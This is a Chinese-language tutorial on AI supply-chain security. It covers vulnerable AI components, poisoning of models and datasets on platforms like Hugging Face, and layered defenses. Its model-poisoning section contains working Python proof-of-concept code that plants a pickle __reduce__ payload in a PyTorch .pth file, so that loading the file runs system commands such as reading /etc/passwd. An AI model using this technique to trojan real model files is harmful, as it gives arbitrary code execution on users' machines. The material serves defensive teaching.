大模型供应链安全 | 加载数据集或模型可能就中毒
字数 1227 2025-08-19 12:41:26

大模型供应链安全教学文档

一、概述

大模型供应链安全是指在大模型开发、部署和使用过程中,确保从数据采集、模型训练到应用部署整个链条中各个环节的安全性。随着AI技术的快速发展,大模型供应链安全问题日益突出,可能通过加载数据集或模型导致系统中毒。

二、AI组件供应链安全

2.1 AI组件搜集方法

2.1.1 开源项目追踪

2.1.2 Docker镜像分析

  • AI产品镜像平台:CodeWithGPU
  • 分析方法:
    • 下载镜像后解压分析/site-package/目录
    • 启动容器后执行pip list命令

2.2 AI组件识别方法

  • 使用GPT-4进行批量识别:
    判断python库torch是否与ai深度学习机器学习相关
    
  • 批量识别示例:
    torch img2pdf
    判断上面python库是否与ai深度学习机器学习相关,输出csv格式
    

2.3 典型AI组件漏洞案例

2.3.1 LangChain命令执行漏洞

  • 问题出现在LLMMathChain和SQLDatabaseChain
  • 攻击者可注入恶意命令或SQL语句
  • 可能导致:
    • 执行任意系统命令
    • 窃取数据库内容
    • 接管数据库系统

2.3.2 Stable Diffusion Web远程加载漏洞

  • 远程加载插件时可注入恶意代码
  • 导致任意命令执行

2.3.3 其他高风险AI组件

transformers LangChain stable diffustion Datasets Label Studio 
mleap.tensorflow PyTorch Serve Submarine mlflow h2o Paddle 
Gradio LlamaHub Ray

三、模型/数据供应链安全

3.1 平台安全风险

攻击方式:

  1. 开发者token泄漏导致仓库被控制
  2. 注册已注销或相似的仓库名进行投毒

3.2 模型投毒技术

3.2.1 基本原理

  • 利用PyTorch的模型加载机制
  • 通过pickle序列化注入恶意对象

3.2.2 攻击实现方法

方法一:直接注入恶意对象

import runpy
import torch

class Demo(object):
    def __reduce__(self):
        return runpy._run_code, ("import os;os.system('cat /etc/passwd')",)

model_path = 'resnet18-f37072fd.raw.pth'
evil_model_path = 'resnet18-f37072fd.raw.pth.evil'

model_dict = torch.load(model_path)
model_dict['evil'] = Demo()
torch.save(model_dict, f=evil_model_path)
torch.load(evil_model_path)  # 触发命令执行

方法二:自定义Pickler类

import runpy
import pickle
import struct
import torch

class Demo(object):
    def __init__(self):
        import runpy
    def __reduce__(self):
        return runpy._run_code, ("import os;os.system('whoami')",)

class PickleInject():
    def __init__(self):
        self.__name__ = "pickle_inject"

class Pickler(pickle._Pickler):
    def __init__(self, file, protocol):
        super().__init__(file, protocol)
    
    def dump(self, obj):
        if self.proto >= 2:
            self.write(pickle.PROTO + struct.pack("<B", self.proto))
        if self.proto >= 4:
            self.framer.start_framing()
        obj['evil'] = Demo()
        self.save(obj)
        self.write(pickle.STOP)
        self.framer.end_framing()

model_path = 'resnet18-f37072fd.raw.pth'
evil_model_path = 'resnet18-f37072fd.raw.pth.evil'

torch.save(torch.load(model_path), f=evil_model_path, pickle_module=PickleInject())
torch.load(evil_model_path)  # 触发命令执行

3.3 数据投毒技术

3.3.1 本地数据集投毒

from datasets import load_dataset
data = load_dataset('xxx/xxxx')  # 加载恶意数据集

3.3.2 远程数据集投毒

  • 上传恶意数据集到Hugging Face等平台
  • 受害者加载远程数据集时触发恶意代码

四、防御措施

4.1 感知层防御

  1. 情报收集:订阅漏洞情报,关注AI组件安全动态
  2. 静态扫描+动态沙箱
    • 对下载的模型和数据集进行静态分析
    • 在沙箱环境中动态测试可疑组件
  3. 资产影响面评估:识别业务中使用的AI组件及其风险

4.2 阻拦层防御

  1. HIDS阻断:主机入侵检测系统监控异常行为
  2. 网络层阻断:四层和七层防火墙规则配置

4.3 内生安全

  1. 自建软件源:建立内部可信的AI组件仓库
  2. 安全赋能:对自建软件源进行安全加固和持续监控

五、总结

大模型供应链安全是AI安全领域的关键问题,主要风险点包括:

  1. AI组件漏洞(如LangChain、Stable Diffusion等)
  2. 模型投毒(通过pickle序列化注入恶意代码)
  3. 数据投毒(恶意数据集导致代码执行)

防御需要从感知、阻拦和内生安全三个层面构建完整的安全体系。建议企业建立专门的AI组件安全评估流程,对所有引入的第三方AI组件、模型和数据集进行严格的安全审查。

大模型供应链安全教学文档 一、概述 大模型供应链安全是指在大模型开发、部署和使用过程中,确保从数据采集、模型训练到应用部署整个链条中各个环节的安全性。随着AI技术的快速发展,大模型供应链安全问题日益突出,可能通过加载数据集或模型导致系统中毒。 二、AI组件供应链安全 2.1 AI组件搜集方法 2.1.1 开源项目追踪 GitHub平台上的AI相关项目标签: Machine Learning Deep Learning AI 2.1.2 Docker镜像分析 AI产品镜像平台: CodeWithGPU 分析方法: 下载镜像后解压分析 /site-package/ 目录 启动容器后执行 pip list 命令 2.2 AI组件识别方法 使用GPT-4进行批量识别: 批量识别示例: 2.3 典型AI组件漏洞案例 2.3.1 LangChain命令执行漏洞 问题出现在LLMMathChain和SQLDatabaseChain 攻击者可注入恶意命令或SQL语句 可能导致: 执行任意系统命令 窃取数据库内容 接管数据库系统 2.3.2 Stable Diffusion Web远程加载漏洞 远程加载插件时可注入恶意代码 导致任意命令执行 2.3.3 其他高风险AI组件 三、模型/数据供应链安全 3.1 平台安全风险 主要平台: Hugging Face TensorFlow Hub 攻击方式: 开发者token泄漏导致仓库被控制 注册已注销或相似的仓库名进行投毒 3.2 模型投毒技术 3.2.1 基本原理 利用PyTorch的模型加载机制 通过pickle序列化注入恶意对象 3.2.2 攻击实现方法 方法一:直接注入恶意对象 方法二:自定义Pickler类 3.3 数据投毒技术 3.3.1 本地数据集投毒 3.3.2 远程数据集投毒 上传恶意数据集到Hugging Face等平台 受害者加载远程数据集时触发恶意代码 四、防御措施 4.1 感知层防御 情报收集 :订阅漏洞情报,关注AI组件安全动态 静态扫描+动态沙箱 : 对下载的模型和数据集进行静态分析 在沙箱环境中动态测试可疑组件 资产影响面评估 :识别业务中使用的AI组件及其风险 4.2 阻拦层防御 HIDS阻断 :主机入侵检测系统监控异常行为 网络层阻断 :四层和七层防火墙规则配置 4.3 内生安全 自建软件源 :建立内部可信的AI组件仓库 安全赋能 :对自建软件源进行安全加固和持续监控 五、总结 大模型供应链安全是AI安全领域的关键问题,主要风险点包括: AI组件漏洞(如LangChain、Stable Diffusion等) 模型投毒(通过pickle序列化注入恶意代码) 数据投毒(恶意数据集导致代码执行) 防御需要从感知、阻拦和内生安全三个层面构建完整的安全体系。建议企业建立专门的AI组件安全评估流程,对所有引入的第三方AI组件、模型和数据集进行严格的安全审查。